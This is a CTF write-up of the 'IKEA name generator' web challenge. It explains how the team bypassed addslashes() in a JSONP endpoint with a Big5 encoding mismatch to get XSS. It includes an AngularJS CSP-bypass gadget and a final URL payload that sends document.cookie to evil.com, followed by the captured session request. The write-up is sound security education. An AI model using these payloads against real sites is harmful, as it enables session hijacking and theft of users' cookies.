Overview
What's your IKEA name? Mine is SORPOÄNGEN.
http://ikea-name-generator.chal.perfect.blue/
By: corb3nik
One of the most useful applications seen on a CTF so far, a name generator to dive into the Swedish culture: a must have for all the people shopping at IKEA like lavish today, see below.
The application provides an input field where users are supposed to insert their name. After clicking on the submit button, an Ikea-like name is displayed. The report page allows us to send arbitrary links to a bot, while the login page can only be accessed by admins with a special cookie. Business as usual, we need to XSS the page to leak the cookie, craft a same-origin link and send it to the bot that will give us its cookie upon executing our payload.
Sit comfortably in your Poäng, get a pack of Festligt and enjoy reading how we discovered an unintended vulnerability to exploit this challenge!
Credits
People who worked on the challenge: lavish aka KOT, georg aka MÖRT, prempador aka BETTJANÄR, ckristo aka SOLM, stiefel40k aka BASSLEKATILLÖT and wert310 aka TRUM. Write-up by lavish and revisions by georg, prempador and ckristo.
TL;DR
We bypassed addslashes()
by exploiting the discrepancy between server and client side encodings to obtain an unintended XSS in the main page of the application.
Understanding the Code
There's a quite some stuff going on behind the curtains of this simple application.
The rendered HTML code of the page is available here, but these are the most relevant parts.
The Lodash JavaScript library v.4.17.4 is used:
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js"></script>
A JSONP endpoint on /config.php
is included in the page using the provided name as the value of the GET parameter name
:
<script src="/config.php?name=John"></script>
This page returns something like the following structure that is evaluated as JavaScript code in the context of the page:
CONFIG = {
url: "/get_name.php",
name: "John"
}
Then, the main script app.js of the application is included:
<script src="/app.js"></script>
And at the end of the HTML we can find a tracking pixel using the image tag:
<img id="tracking-pixel" width=1 height=1 src="/track.php">
This resource is not found on the server, resulting into a redirection to the page handling 404 errors http://ikea-name-generator.chal.perfect.blue/404.php?msg=Sorry,+this+page+is+unavailable.
A look into app.js
The JavaScript code included by the page is provided below as a reference:
function createFromObject(obj) {
var el = document.createElement("span");
for (var key in obj) {
el[key] = obj[key]
}
return el
}
function generateName() {
var default_config = {
"style": "color: red;",
"text": "Could not generate name"
}
var output = document.getElementById('output')
var req = new XMLHttpRequest();
req.open("POST", CONFIG.url);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
req.onreadystatechange = function () {
if (req.readyState === XMLHttpRequest.DONE) {
if (req.status === 200) {
var obj = JSON.parse(req.responseText);
var config = _.merge(default_config, obj)
sandbox = document.createElement("iframe")
sandbox.src = "/sandbox.php"
var el = createFromObject({
style: config.style,
innerText: config.text
})
output.appendChild(sandbox)
sandbox.onload = function () {
sandbox.contentWindow.output.appendChild(el)
}
}
}
}
req.send("name=" + CONFIG.name)
}
window.onload = function() {
document.getElementById("button-submit").onclick = function() {
window.location = "/?name=" + document.getElementById("input-name").value
}
generateName();
}
In a nutshell, this script redirects to /?name=<name>
after clicking the submit button, then it sends the name via POST to the url
attribute of the CONFIG
object obtained after evaluating the output of /config.php?name=<name>
. The get_name.php
page returns a JSON containing our Ikea name, e.g., {"text":"\u00c5SUN"}
that is parsed by app.js
and merged (using an utility function provided by the Lodash library) with the default_config
object into the config
variable, to obtain something like:
config = {
"style": "color: red;",
"text": "\u00c5SUN"
}
Finally, an iframe is created with src
set to sandbox.php
and its content is populated with the newly created config
structure.
1-2-3 CSPs
Yes, our name is reflected straight into the index page so we can inject arbitrary markup code. No, we can't trigger an XSS because of CSP. Same for 404.php
where the value of the msg
parameter is printed by the page without sanitization. Notice however that here the response Content-Type
is set to text/plain;charset=UTF-8
.
Turns out there are different CSPs protecting 3 pages:
/
Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.4/lodash.min.js;connect-src 'self';frame-src 'self';img-src 'self';style-src 'self' https://maxcdn.bootstrapcdn.com/;base-uri 'none';
/404.php
Content-Security-Policy: default-src 'none'
/sandbox.php
Content-Security-Policy: default-src 'none';script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.js;style-src 'self' https://maxcdn.bootstrapcdn.com/;connect-src https:;base-uri 'none';
To the End and Back: Planning the Attack Chain
If you are a bit familiar with CSP bypasses, you will immediately realize that the policy shipped on /sandbox.php
is vulnerable to a script gadget attack thanks to AngularJS. The XSS cheat sheet on PortSwigger provides gadgets that can be used to run arbitrary JavaScript in the page by sidestepping the CSP, such as:
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
All the other CSPs seem to be quite restrictive, so it's pretty obvious that the challenge author designed the task in a way that we end up executing our final payload in the /sandbox.php
iframe.
Googling around, we found the included version of the Lodash library to be affected by a protoype pollution vulnerability. This is very interesting, since this would allow us to pollute the config
object that is used to populate the iframe.
Remember that we control the value name
passed to /config.php
, which produces the CONFIG
variable that specifies the url used to generate the JSON with our Ikea name:
CONFIG = {
url: "/get_name.php",
name: "John"
}
If we find a way to alter CONFIG
by overwriting the value of the url
attribute, we could use the /404.php
endpoint to craft an arbitrary JSON structure, perform the parameter pollution and use our nice gadget to XSS the /sandbox.php
iframe.
The intended solution exploited DOM clobbering to achieve this exact goal. Neat. None of us remembered that we could do that here. So we did something different :)
Exploiting Like a Swedish
The cool thing about CTFs (or the world in general), is that we all follow different mental paths. While the challenge author used Swedish names as an innocuous Ikea-related pun, those weird signs on top of A and O (i.e., Å, Ä, Ö) triggered us to investigate all sort of attacks concerning encodings. While doing so we missed the obvious, i.e., the DOM clobbering vulnerability as described in the previous section. Indeed, we only focused on abusing the name
variable sent to /config.php
to obtain something like:
CONFIG = {
url: "/get_name.php",
name: "John",
url: "/404.php?msg=<data>"
}
Unfortunately, our payload is escaped by config.php
using addslashes()
, preventing the string from being closed. As you can see, querying http://ikea-name-generator.chal.perfect.blue/config.php?name=John%22,%20url:%20%22/404.php?msg=foobar
results into:
CONFIG = {
url: "/get_name.php",
name: "John\", url: \"\/404.php?msg=foobar"
}
The most seasoned ones among our readers will remember this old trick to bypass addslashes()
and perform a SQL injection on MySQL when the GBK encoding is set. After quite some time we realized that the same principle could be leveraged in this context to close the string.
Let's try to understand what's going on exactly: PHP does not treat %bf%22
as a single multi-byte character, so addslashes()
adds a \
between the 2 bytes, returning the equivalent of %bf%5c%22
:
php > print_r(unpack('C*', addslashes(urldecode('%bf%22'))));
Array
(
[1] => 191 // 0xbf
[2] => 92 // 0x5c
[3] => 34 // 0x22
)
When the page is rendered on Google Chrome, the browser assumes that the charset of the page is http://ash.jp/code/cn/big5tbl.htm
, in which %bf%5c
is a valid character code that corresponds to the symbol highlighted below:
The discrepancy between the server-side and client-side encodings causes the browser to eat the \
symbol as part of a multi-byte character and to leave alone the "
symbol needed to close the string!
Let's step back for a second: all we wanted to do was overwriting the url
field of the CONFIG
structure, right? Notice however that now we're on track to inject arbitrary JavaScript, so if we are clever enough to craft a payload that does not stumble upon Uncaught SyntaxError
, we could entirely skip the prototype pollution vulnerability and XSS the main page! Cool, isn't it?
Alright, checking if the same payload works on the main page:
Ouch, so now the browser thinks that the charset is utf-8 and our payload is not able to go past the string anymore! Is everything lost? Of course not, you should know that the web platform provides all the pieces to be exploited beyond understanding. The script
tag has a deprecated attribute called charset
that enforces the specified charset on script loading. The CSP does not prevent us from injecting markup content, so the idea is to inject another script
tag with src="/config.php=<XSS>"
with the charset
attribute set to big5
and execute arbitrary JavaScript code. Notice that by doing so we would end up including 2 different versions of scripts generated by config.php
, but we don't care much about the second script if our XSS payload triggers first.
Before finalizing the payload, we test whether this approach is correct by sending a request to /?name=%3Cscript%20charset=big5%20src=config.php?name=test%bf%22
. The exception means that we successfully closed the string and caused a syntax error in the script generated by config.php
.
Since we only need to leak the cookie to an origin we control, such as evil.com
, it is enough to redirect the browser to http://evil.com/<document.cookie>
and ignore everything else that might break in the page. This can be done by crafting one attribute of the CONFIG
structure, such as:
CONFIG = {
url: "/get_name.php",
name: "璞",
foo: window.location=`http:\/\/evil.com\/${document.cookie}` // omitted <!-- for clarity
}
The final payload that worked for us is the following:
http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20charset=big5%20src=config.php?name=%bf%22,foo:window.location=`http://evil.com/${document.cookie}`%3c!--
By providing it to the admin bot, we obtain the cookie:
GET /session=be2171a063883cd6f356707eb8dd601d6d8ac26a HTTP/1.1
Host: <redacted>
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/88.0.4298.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ikea-name-generator.chal.perfect.blue/?name=%3Cscript%20charset=big5%20src=config.php?name=%bf%22,foo:window.location=`http://<redacted>/${document.cookie}`%3c!--
Accept-Encoding: gzip, deflate
And... profit!
Conclusion
Congrats for reaching the end of this write-up fellow hacker! We hope you had as much fun as we did solving the challenge! And remember, we all know that the Web is a mess, but if you use server-side filtering such as addslashes()
and JSONP you're literally shooting yourself in the foot! Cya!